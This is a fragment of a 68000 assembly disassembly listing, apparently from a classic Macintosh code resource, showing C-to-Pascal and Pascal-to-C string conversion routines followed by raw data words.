  571. 0000: L08B4    MOVE.L    $0004(A7),D0
  572. 0004:     BEQ.S    L08E0
  573. 0006:     MOVEA.L    D0,A0
  574. 0008:     MOVEA.L    A0,A1
  575. 000A:     MOVE.B    (A1)+,D0
  576. 000C:     BEQ.S    L08E0
  577. 000E: L08C2    MOVE.B    (A1),D1
  578. 0010:     MOVE.B    D0,(A1)+
  579. 0012:     MOVE.B    D1,D0
  580. 0014:     BNE.S    L08C2
  581. 0016:     SUBA.L    A0,A1
  582. 0018:     MOVE.L    A1,D0
  583. 001A:     SUBQ.W    #1,D0
  584. 001C:     CMPI.L    #$000000FF,D0
  585. 0022:     BLE.S    L08DE
  586. 0024:     MOVE.L    #$000000FF,D0
  587. 002A: L08DE    MOVE.B    D0,(A0)
  588. 002C: L08E0    MOVE.L    $0004(A7),D0
  589. 0030:     RTS    
  590.  
  591. ;Seg 1 = atpl ID# 128 proc 17 of 17 (local)
  592.  
  593. 0000: L08E6    MOVE.L    $0004(A7),D0
  594. 0004:     BEQ.S    L08FE
  595. 0006:     MOVEA.L    D0,A0
  596. 0008:     MOVEQ    $00,D0
  597. 000A:     MOVE.B    (A0),D0
  598. 000C:     BRA.S    L08F8
  599. 000E: L08F4    MOVE.B    $0001(A0),(A0)+
  600. 0012: L08F8    DBRA    D0,L08F4
  601. 0016:     CLR.B    (A0)
  602. 0018: L08FE    MOVE.L    $0004(A7),D0
  603. 001C:     RTS    
  604. 001E:     .WORD    $C82,0,$FFFF,$6218    ;[......b.]
  605. 0026:     .WORD    $3241,$4241,$4841,$82C2    ;[2ABAHA..]
  606. 002E:     .WORD    $2001,$4841,$3009,$80C2    ;[ .HA0...]
  607. 0036:     .WORD    $3200,$4240,$4840,$4E75    ;[2.B@H@Nu]
  608. 003E:     .WORD    $2001,$4240,$4840,$4841    ;[ .B@H@HA]
  609. 0046:     .WORD    $4241,$2242,$740F,$D281    ;[BA"Bt...]
  610. 004E:     .WORD    $D180,$B3C0,$6204,$9089    ;[....b...]
  611. 0056:     .WORD    $5241,$51CA,$FFF2,$4E75    ;[RAQ...Nu]
  612. 005E:     .WORD    $2F02,$2401,$2200,$4A82    ;[/.$.".J.]
  613. 0066:     .WORD    $6C02,$4482,$7000,$4A81    ;[l.D.p.J.]
  614. 006E:     .WORD    $6C04,$4481,$4680,$2040    ;[l.D.F. @]
  615. 0076:     .WORD    $4EBA,$FFA6,$3408,$6702    ;[N...4.g.]
  616. 007E:     .WORD    $4480,$241F,$4E75    ;[D.$.Nu..]
  617.